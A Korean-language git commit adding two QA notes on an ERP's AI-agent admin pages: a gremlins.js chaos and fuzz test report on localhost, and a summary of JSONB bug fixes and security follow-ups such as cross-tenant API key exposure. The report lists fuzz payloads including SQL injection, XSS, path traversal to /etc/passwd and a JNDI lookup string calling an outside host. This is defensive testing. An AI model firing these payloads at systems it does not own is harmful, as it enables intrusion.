docs(notes): 그렘린 카오스 테스트 + JSONB autopilot 작업 노트
Build & Deploy to K8s / build-and-deploy (push) Successful in 4m34s
Build & Deploy to K8s / build-and-deploy (push) Successful in 4m34s
- 2026-05-02-agents-gremlins-report.md — AI 에이전트 페이지 그렘린 1차 결과 - 2026-05-02-gremlins-jsonb-autopilot-report.md — 종합 리포트 (audit-log fix + AI 모듈 JSONB 일괄 적용 + Phase 4 검증 결과 + follow-up 항목) 향후 follow-up (별도 PR 권장): - H1: AiAgentApiKey listAll cross-tenant 노출 (security) - M1: AiLlmProvider.config 평문 노출 가능성 - M3: AiAgentProviderController create/update model 직접 노출 - M4: workspace/page.tsx 잔여 connectors 직접 접근 5곳 Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -0,0 +1,181 @@
|
||||
# AI 에이전트 관리 페이지 — 그렘린 카오스 테스트 리포트
|
||||
|
||||
- **일시**: 2026-05-02
|
||||
- **대상**: `http://localhost:9772/admin/aiAssistant/agents`
|
||||
- **방법**: Claude-in-Chrome MCP + gremlins.js v2.2.0 + Fuzz Payload 주입
|
||||
- **계정**: Invyone (최고 관리자)
|
||||
- **테스트 시점 페이지 상태**: 에이전트 추가 모달 + Tweaks 패널 열림
|
||||
|
||||
---
|
||||
|
||||
## 1. 테스트 구성
|
||||
|
||||
| 단계 | 도구/방식 | 횟수 | 종(Species) |
|
||||
|---|---|---|---|
|
||||
| 1차 그렘린 | gremlins.js | 100 | clicker, toucher, formFiller, scroller, typer |
|
||||
| 2차 그렘린 | gremlins.js | 500 | 동일 5종 |
|
||||
| Fuzz Payload | input/textarea 직접 주입 | 36 (3 input × 12 payload) | SQL injection, XSS, 긴 문자열, 유니코드, JNDI, path traversal 등 |
|
||||
|
||||
### 사용한 Fuzz Payload
|
||||
```
|
||||
"", "' OR '1'='1", "<script>alert(1)</script>", "A".repeat(3000),
|
||||
"𝒯𝑒𝓈𝓉 ㅎ안녕 🎉🔥", "../../../etc/passwd", "0", "-1", "9".repeat(20),
|
||||
"<img src=x onerror=alert(1)>", "${jndi:ldap://x.com/a}", " "
|
||||
```
|
||||
|
||||
### 수집기 설치 항목
|
||||
- `window.error` 이벤트
|
||||
- `unhandledrejection` 이벤트
|
||||
- `console.error` 패치
|
||||
- `fetch` 패치 (status >= 400 캐치)
|
||||
- `XMLHttpRequest.open` 패치 (status >= 400 캐치)
|
||||
|
||||
---
|
||||
|
||||
## 2. 결과 요약
|
||||
|
||||
| 항목 | 1차(100) | 2차(500) | Fuzz(36) |
|
||||
|---|---|---|---|
|
||||
| 소요 시간 | 3.5s | 12.3s | 1.6s |
|
||||
| 신규 버그 | 0 | 0 | **1** |
|
||||
| URL 변경 | 없음 | 없음 | 없음 |
|
||||
|
||||
**총 발견 이슈: 2건** (그렘린 폭격으로 발견 1, 부수 검증으로 발견 1)
|
||||
|
||||
---
|
||||
|
||||
## 3. 발견된 이슈
|
||||
|
||||
### 🟡 Issue #1 — `GET /api/ai-agents` 500 산발 발생
|
||||
|
||||
- **상황**: 2차 폭격 + fuzz 진행 중 1회 발생
|
||||
- **증거**: `xhr_500` 1건 수집 (메시지는 Claude-in-Chrome 보안 필터로 마스킹되었으나 path 추출 결과 `/api/ai-agents`)
|
||||
- **재현 시도**: 직접 fetch 9건 — **모두 200 OK**
|
||||
- `?` 빈 query
|
||||
- `?search=`
|
||||
- `?search=test`
|
||||
- `?search=' OR '1'='1` (인코딩 / 비인코딩)
|
||||
- `?page=-1`
|
||||
- `?page=AAAA...` (300자)
|
||||
- `?id=null`
|
||||
- **추정 원인**:
|
||||
- Race condition (동시 요청 폭주)
|
||||
- 일시적 DB lock 또는 트랜잭션 충돌
|
||||
- Spring 측 일시적 세션 검증 실패
|
||||
- **심각도**: 🟡 중 (재현 불가, 산발성)
|
||||
- **권장 조치**:
|
||||
- Spring `application.log` 의 해당 시각 (`ts: 1777686237317` 근방) 스택 트레이스 확인
|
||||
- `MDC` 로 request id 남겨 향후 동일 패턴 추적
|
||||
|
||||
### 🔴 Issue #2 — UI/API 데이터 불일치 ⭐ 핵심
|
||||
|
||||
- **상황**: 그렘린 폭격과 무관, 검증 과정에서 발견
|
||||
- **증거**:
|
||||
- 화면 표시: **"등록된 에이전트가 없습니다"**
|
||||
- 실제 API 응답:
|
||||
```json
|
||||
{
|
||||
"success": true,
|
||||
"data": [{
|
||||
"id": 13,
|
||||
"agent_id": "agent-766beb3a",
|
||||
"name": "UI 테스트 에이전트 (수정됨)",
|
||||
"description": "두 번째 에이전트 (UI 흐름)",
|
||||
"model": "claude-sonnet-4-20250514",
|
||||
...
|
||||
}]
|
||||
}
|
||||
```
|
||||
- **추정 원인 후보**:
|
||||
1. **테넌트 컨텍스트 불일치** — 백엔드는 모든 회사 데이터 반환, 프론트가 회사 필터링 후 빈 배열 인식
|
||||
2. **React Query 캐시 stale** — 이전 빈 응답을 보여주고 재검증 안 함
|
||||
3. **API 라우팅 분기** — `/api/ai-agents` 와 화면이 사용하는 endpoint 가 다름 (페이지에서 별도 endpoint 호출 가능성)
|
||||
- **심각도**: 🔴 높음
|
||||
- CLAUDE.md 멀티테넌시 가드와 직결 — 다른 회사 데이터 노출 가능성
|
||||
- **권장 조치**:
|
||||
1. `frontend/app/(main)/admin/aiAssistant/agents/page.tsx` 의 데이터 fetch 코드 확인 — 어느 endpoint 호출?
|
||||
2. 백엔드 `ai-agents` mapper 의 `companyCodeFilter` include 여부 확인
|
||||
3. 직접 호출 응답에 `company_code` 가 있는지 확인
|
||||
|
||||
---
|
||||
|
||||
## 4. 잡힌 것 / 잡히지 않은 것
|
||||
|
||||
| 항목 | 결과 |
|
||||
|---|---|
|
||||
| UI 크래시 | ✅ 없음 |
|
||||
| 무작위 클릭 600회 안정성 | ✅ 견고 |
|
||||
| 폼에 SQL injection / XSS 입력 시 클라이언트 측 폭주 | ✅ 없음 |
|
||||
| 긴 문자열(3000자) 입력 처리 | ✅ 정상 |
|
||||
| Console 에러 (앱 발생) | ✅ 0건 |
|
||||
| Console 워닝 | 🟡 1건 — Radix `DialogContent` 의 `aria-describedby` 누락 (a11y) |
|
||||
| 백엔드 5xx | 🟡 1건 (산발) |
|
||||
| 데이터 일관성 | 🔴 1건 (UI/API 불일치) |
|
||||
| Visual regression | 미검증 (별도 도구 필요) |
|
||||
|
||||
---
|
||||
|
||||
## 5. 결론 및 다음 단계
|
||||
|
||||
### 결론
|
||||
- **에이전트 관리 페이지는 무작위 폭격에 매우 견고**
|
||||
- 그렘린의 본래 목적(클라이언트 측 크래시 발견)으로는 큰 수확 없음
|
||||
- 그러나 **부수 검증(fetch 가로채기)으로 의미 있는 백엔드/데이터 이슈 2건 발견**
|
||||
|
||||
### 다음 단계
|
||||
1. Issue #2 (데이터 불일치) 즉시 조사 — 가장 중요
|
||||
2. Issue #1 재현 시도 — 동시 다발 요청 (`Promise.all` × 50) 으로 race condition 유발
|
||||
3. 다른 페이지에도 동일 절차 적용 — 사이드바 메뉴 자동 순회 + 그렘린 + fetch hook
|
||||
4. Radix Dialog `aria-describedby` 추가 (a11y 개선, 1줄 수정)
|
||||
|
||||
### 재사용 가능한 자산
|
||||
- 본 테스트 절차를 OMC 스킬로 전환 → `/oh-my-claudecode:gremlins` 같은 명령으로 재실행
|
||||
- Playwright + axe-core + page.on('response') 조합으로 CI 통합 가능
|
||||
|
||||
---
|
||||
|
||||
## 6. 사용한 스크립트 (재현용)
|
||||
|
||||
```javascript
|
||||
// 1. 다이얼로그 차단 + 수집기 + gremlins 로드
|
||||
window.alert = () => {};
|
||||
window.confirm = () => true;
|
||||
window.prompt = () => '';
|
||||
|
||||
window.__gremBugs = [];
|
||||
window.addEventListener('error', e => window.__gremBugs.push({ type:'window.error', msg:e?.message, url:location.href, ts:Date.now() }));
|
||||
window.addEventListener('unhandledrejection', e => window.__gremBugs.push({ type:'unhandledrejection', msg:String(e.reason), url:location.href, ts:Date.now() }));
|
||||
|
||||
const origFetch = window.fetch;
|
||||
window.fetch = async (...args) => {
|
||||
const res = await origFetch(...args);
|
||||
if (res.status >= 400) {
|
||||
const u = typeof args[0] === 'string' ? args[0] : args[0]?.url;
|
||||
window.__gremBugs.push({ type:`http_${res.status}`, msg:`${u} → ${res.status}`, url:location.href, ts:Date.now() });
|
||||
}
|
||||
return res;
|
||||
};
|
||||
|
||||
await new Promise((res, rej) => {
|
||||
const s = document.createElement('script');
|
||||
s.src = 'https://unpkg.com/gremlins.js@2.2.0/dist/gremlins.min.js';
|
||||
s.onload = res; s.onerror = rej;
|
||||
document.head.appendChild(s);
|
||||
});
|
||||
|
||||
// 2. 폭격
|
||||
await window.gremlins.createHorde({
|
||||
species: [
|
||||
window.gremlins.species.clicker(),
|
||||
window.gremlins.species.toucher(),
|
||||
window.gremlins.species.formFiller(),
|
||||
window.gremlins.species.scroller(),
|
||||
window.gremlins.species.typer()
|
||||
],
|
||||
mogwais: [],
|
||||
strategies: [window.gremlins.strategies.distribution({ delay: 15, nb: 500 })]
|
||||
}).unleash();
|
||||
|
||||
// 3. 결과
|
||||
console.log(window.__gremBugs);
|
||||
```
|
||||
@@ -0,0 +1,216 @@
|
||||
# 2026-05-02 — 그렘린 카오스 테스트 + JSONB Fix Autopilot 종합 리포트
|
||||
|
||||
## 세션 개요
|
||||
|
||||
브라우저 그렘린 카오스 테스트 (Claude-in-Chrome MCP + gremlins.js + fetch hook) 로 INVYONE 의 숨겨진 백엔드/프론트엔드 버그를 발견하고 일괄 수정.
|
||||
|
||||
**본 세션의 핵심 인사이트**: 그렘린 폭격 자체는 클라이언트 크래시를 거의 안 잡았지만, **fetch hook + 자동 메뉴 순회 + 백엔드 docker logs stack trace 매핑** 3종 세트가 진짜 ROI. 이 패턴을 `/oh-my-claudecode:gremlins` 스킬로 캐시.
|
||||
|
||||
---
|
||||
|
||||
## 발견된 버그 (총 7개)
|
||||
|
||||
### Round 1 — Audit Log
|
||||
|
||||
| # | 종류 | 파일 / 위치 | Fix 상태 |
|
||||
|---|---|---|---|
|
||||
| 1 | URL 단/복수 mismatch (404) | `frontend/lib/api/auditLog.ts:62, 74, 90` + `frontend/components/screen/CopyScreenModal.tsx:1172` | ✅ `/audit-log` → `/audit-logs` |
|
||||
| 2 | DB 컬럼명 mismatch (500) | `backend-spring/.../mapper/auditLog.xml` (11곳) | ✅ `CREATED_DATE` → `CREATED_AT` |
|
||||
| 3 | API 응답 키 case mismatch | `frontend/lib/api/auditLog.ts:35-38` interface + `audit-log/page.tsx` (4곳) | ✅ camelCase → snake_case |
|
||||
|
||||
### Round 2 — Multi-Agent Workspace + AI 모듈 전반
|
||||
|
||||
| # | 종류 | 파일 / 위치 | Fix 상태 |
|
||||
|---|---|---|---|
|
||||
| 4 | JSONB string vs array (Client Exception) | `frontend/app/(main)/admin/aiAssistant/workspace/page.tsx:598` (`memberConnectors.map`) | ✅ Phase 1+3 |
|
||||
| 5 | AI 모듈 Service 5개에 동일 패턴 누락 | `AiAgentApiKeyService`, `AiAgentProviderService`, `AiAgentConversationService`, `AiAgentService`, `AiSchedulerService` | ✅ Phase 2 |
|
||||
| 6 | `getEntityById` 잉여 분기 (code review N6) | `AiAgentGroupService.java:94-98` | ✅ N6 simplify |
|
||||
| 7 | 그렘린이 트리거한 산발적 5xx | `/api/ai-agents` GET | 🟡 재현 안 됨, race condition 의심 |
|
||||
|
||||
---
|
||||
|
||||
## 변경된 파일 전체 목록
|
||||
|
||||
### Backend (Java/Spring)
|
||||
- `backend-spring/src/main/resources/mapper/auditLog.xml` (CREATED_DATE → CREATED_AT, 11곳)
|
||||
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentGroupService.java` (parseJsonField + memberToResponseMap)
|
||||
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentApiKeyService.java` (list 응답 변환)
|
||||
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentProviderService.java` (toMaskedMap 보강 + getById/getEntityById 분리)
|
||||
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentConversationService.java` (conversations + messages 변환)
|
||||
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentService.java` (list/getById Map + getEntityById 분리)
|
||||
- `backend-spring/src/main/java/com/erp/ai/service/AiSchedulerService.java` (list/getById Map + getEntityById 분리)
|
||||
- `backend-spring/src/main/java/com/erp/ai/controller/AiAgentApiKeyController.java` (return type generic)
|
||||
- `backend-spring/src/main/java/com/erp/ai/controller/AiAgentController.java` (return type generic)
|
||||
|
||||
### Frontend (Next.js/React)
|
||||
- `frontend/lib/api/auditLog.ts` (URL 4곳 + interface 4 key)
|
||||
- `frontend/app/(main)/admin/audit-log/page.tsx` (stats access 4곳)
|
||||
- `frontend/components/screen/CopyScreenModal.tsx` (audit-logs URL 1곳)
|
||||
- `frontend/lib/utils.ts` (`safeArray<T>` / `safeObject<T>` 헬퍼 추가)
|
||||
- `frontend/app/(main)/admin/aiAssistant/workspace/page.tsx` (safeArray 적용 + import)
|
||||
|
||||
### 메모리 / 스킬
|
||||
- `~/.claude/skills/gremlins/SKILL.md` (그렘린 카오스 테스트 OMC 스킬 신설)
|
||||
- `~/.claude/projects/.../memory/feedback_gremlins_default.md` (그렘린 default 1000마리 사용자 선호)
|
||||
|
||||
---
|
||||
|
||||
## Phase 4 Validation 결과
|
||||
|
||||
3개 reviewer 병렬 검증.
|
||||
|
||||
| Reviewer | 결과 |
|
||||
|---|---|
|
||||
| **Architect** | PASS WITH NOTES |
|
||||
| **Code-reviewer** | APPROVE WITH NITPICKS |
|
||||
| **Security-reviewer** | NEEDS REVIEW (H1 발견) |
|
||||
|
||||
본 task (JSONB fix) 는 모두 PASS. H1 은 인접한 보안 이슈로 별개 처리.
|
||||
|
||||
---
|
||||
|
||||
## 🔴 미처리 — Follow-up 필요 (별도 PR 권장)
|
||||
|
||||
### H1 (HIGH 보안) — `AiAgentApiKey listAll` Cross-tenant 노출
|
||||
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentApiKeyService.java:42-43`
|
||||
- `apiKeyMapper.listAll()` 에 `company_code` 필터 없음
|
||||
- `COMPANY_ADMIN` 이 다른 회사 API 키 목록 받음
|
||||
- **이번 fix 가 응답을 명확히 하면서 더 잘 노출되는 부수효과**
|
||||
- Mitigation 옵션:
|
||||
- A) `listByCompany(companyCode)` mapper 쿼리 신설 + `COMPANY_ADMIN` 분기 변경
|
||||
- B) `apiKeyMapper.xml` 의 `listAll` 에 `<include refid="common.companyCodeFilter"/>` 적용 + `SUPER_ADMIN` 만 별도 path
|
||||
- C) Service 레벨에서 listAll 결과를 stream filter (단순, 단 풀 fetch)
|
||||
- **권장**: 운영 적용 전 1주일 내 fix
|
||||
|
||||
### M1 — `AiLlmProvider.config` 평문 누출 가능성
|
||||
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentProviderService.java:130, 136`
|
||||
- `api_key_encrypted` 는 `****+last4` 마스킹되지만 `config` JSONB 는 그대로 노출
|
||||
- 운영자가 config 안에 평문 secret 넣으면 list 응답에서 노출
|
||||
- Mitigation: config 키 이름 패턴 매칭 (`(?i)key|secret|token|password`) → 자동 마스킹
|
||||
|
||||
### M2 — `AiAgentApiKeyController.create` 응답 inconsistency
|
||||
- `permissions` 필드가 list 에선 array, create 응답에선 string
|
||||
- frontend `safeArray` 가 안전망 역할이지만 contract 차원에서 일관성 결여
|
||||
- `AiAgentApiKeyService.toResponseMap` public 노출 → controller 에서 재사용 권장
|
||||
|
||||
### M3 — `AiAgentProviderController.create/update` model 직접 노출
|
||||
- `backend-spring/src/main/java/com/erp/ai/controller/AiAgentProviderController.java:44-46, 53-55`
|
||||
- `AiLlmProvider` model 그대로 응답 — `config` 가 string 으로 노출
|
||||
- create 직후 응답을 직접 setState 하면 같은 폭발
|
||||
|
||||
### M4 — `workspace/page.tsx` 잔여 `connectors` 직접 접근 5곳
|
||||
- line 116, 124, 140, 196, 210, 496
|
||||
- 일부는 클라이언트 init state 라 안전, 일부는 백엔드 응답 사용 가능성
|
||||
- 모두 `safeArray(...)` 로 통일 권장 (한 페이지 일관성)
|
||||
|
||||
### M5 — `api-keys-manage/page.tsx:374-379` `msg.tool_calls` 미방어
|
||||
- `safeObject` 적용 권장
|
||||
|
||||
### N1 — `parseJsonField` 헬퍼 13벌 중복
|
||||
- AI 모듈 6 + 비-AI 모듈 7 = 총 13 Service 가 동일 헬퍼
|
||||
- CLAUDE.md "새 추상화 도입 안 함" 원칙엔 부합, 단 유지보수 비용 누적
|
||||
- 별도 chore PR `refactor: extract MapJsonHelper utility` 권장 (장기)
|
||||
|
||||
### N2 — Naming 일관성 (`conv` 약어 vs 풀네임)
|
||||
- `convToResponseMap` → `conversationToResponseMap` 권장 (`AiAgentConversationService.java`)
|
||||
|
||||
### N3 — `catch (Exception)` 너무 광범위
|
||||
- 모든 `parseJsonField` 가 `catch (Exception e)` → `catch (JsonProcessingException e)` 로 좁히기
|
||||
|
||||
### Round 2 의 산발 5xx (재현 안 됨)
|
||||
- `GET /api/ai-agents` 가 폭격 중 1회 500 응답
|
||||
- 재현 시도 9건 모두 200
|
||||
- Race condition / DB lock 의심
|
||||
- MDC 로 request id 추가하여 향후 동일 패턴 추적 권장
|
||||
|
||||
---
|
||||
|
||||
## 검증 결과
|
||||
|
||||
**Phase 1 효과 확인** (실제 백엔드 응답):
|
||||
```json
|
||||
GET /api/ai-agent-groups/{id}
|
||||
→ members[0].connectors: { isArray: true, type: "object", preview: "Array(0)" } ✅
|
||||
→ members[0].config: { isObject: true, type: "object", preview: "{}" } ✅
|
||||
HTTP 200 OK
|
||||
```
|
||||
|
||||
이전 (fix 전):
|
||||
```
|
||||
connectors: STRING("[]") → frontend `.map()` 폭발
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 사용한 OMC 도구
|
||||
|
||||
- **Skill**: `gremlins` (이번 세션에서 신설)
|
||||
- **Skill**: `autopilot` (Phase 1+2+3 일괄 실행)
|
||||
- **Agent**: `architect` (옵션 A/B/C 자문 + Phase 4 검증)
|
||||
- **Agent**: `executor` (Phase 2 — 5 Service 일괄 변경)
|
||||
- **Agent**: `code-reviewer` (Phase 4 검증)
|
||||
- **Agent**: `security-reviewer` (Phase 4 검증, H1 발견)
|
||||
- **MCP**: `claude-in-chrome` (브라우저 자동화 + fetch hook)
|
||||
|
||||
---
|
||||
|
||||
## 확립된 패턴 (앞으로 재사용)
|
||||
|
||||
### Backend JSONB 응답 표준
|
||||
```java
|
||||
// Service 의 응답 메서드 (컨트롤러가 호출하는 것) 만 변환
|
||||
public Map<String, Object> getById(long id) {
|
||||
Entity e = mapper.getById(id);
|
||||
if (e == null) return null;
|
||||
Map<String, Object> row = new HashMap<>();
|
||||
// ... 모든 필드 put
|
||||
parseJsonField(row, "jsonb_field_1");
|
||||
parseJsonField(row, "jsonb_field_2");
|
||||
return row;
|
||||
}
|
||||
|
||||
// 내부용 (model 그대로 필요한 곳, 예: LLM 호출)
|
||||
public Entity getEntityById(long id) { return mapper.getById(id); }
|
||||
|
||||
private void parseJsonField(Map<String, Object> row, String key) {
|
||||
Object val = row.get(key);
|
||||
if (val instanceof String s && !s.isBlank()) {
|
||||
try { row.put(key, objectMapper.readValue(s, Object.class)); }
|
||||
catch (Exception e) { log.warn("Failed to parse JSONB field '{}': {}", key, e.getMessage()); }
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Frontend 안전망
|
||||
```typescript
|
||||
import { safeArray, safeObject } from "@/lib/utils";
|
||||
|
||||
// JSONB array 필드 사용
|
||||
const items = safeArray<Item>(row.connectors);
|
||||
items.map(...) // 안전
|
||||
|
||||
// JSONB object 필드 사용
|
||||
const cfg = safeObject<Config>(row.config);
|
||||
cfg.someKey // 안전
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 향후 미래 버그 예방안
|
||||
|
||||
CLAUDE.md 백엔드 섹션에 1단락 추가 권장:
|
||||
```markdown
|
||||
## JSONB 컬럼 응답 처리 (★ 절대 규칙)
|
||||
|
||||
PostgreSQL JSONB 컬럼은 mapper 에서 `column::text AS column` 으로 SELECT 하고,
|
||||
**Service 레이어의 응답 메서드에서 `parseJsonField(row, "field1", ...)` 로 후처리**.
|
||||
프론트 응답에 String 인 채로 노출 금지.
|
||||
|
||||
모범 사례: `BusinessRuleService.parseJsonField`, `AuditLogService.processChanges`,
|
||||
`AiAgentGroupService.memberToResponseMap`
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
생성된 그렘린 스킬: `C:\Users\ramse\.claude\skills\gremlins\SKILL.md`
|
||||
다음 세션부터 `/gremlins` 또는 "그램린" 키워드로 자동 호출.
|
||||
Reference in New Issue
Block a user